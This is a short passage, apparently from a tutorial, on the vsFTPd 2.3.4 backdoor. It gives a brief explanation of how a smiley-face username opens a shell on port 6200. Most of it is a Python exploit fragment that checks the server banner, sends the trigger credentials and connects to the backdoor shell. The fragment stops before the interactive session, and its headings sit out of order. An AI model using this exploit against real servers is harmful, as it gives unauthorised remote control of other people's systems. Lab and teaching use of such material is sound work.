The software sees the smiley face. It instantly opens a secret network port (Port 6200). [1] The tester connects to this new port and takes full control of the system. How to Install and Test the Exploit

# Check if the target is running vsFTPd 2.3.4 if "vsFTPd 2.3.4" in banner.decode(): # Trigger the backdoor with the smiley face username exploit_socket.send(b"USER hello:)\n") exploit_socket.recv(1024) exploit_socket.send(b"PASS HELLO\n") exploit_socket.close() print("[+] Backdoor triggered. Connecting to shell...") # Connect to the shell on port 6200 shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shell_socket.connect((target, 6200)) # Interactive shell session would follow... else: print("[!] Target is not running vulnerable vsFTPd 2.3.4")
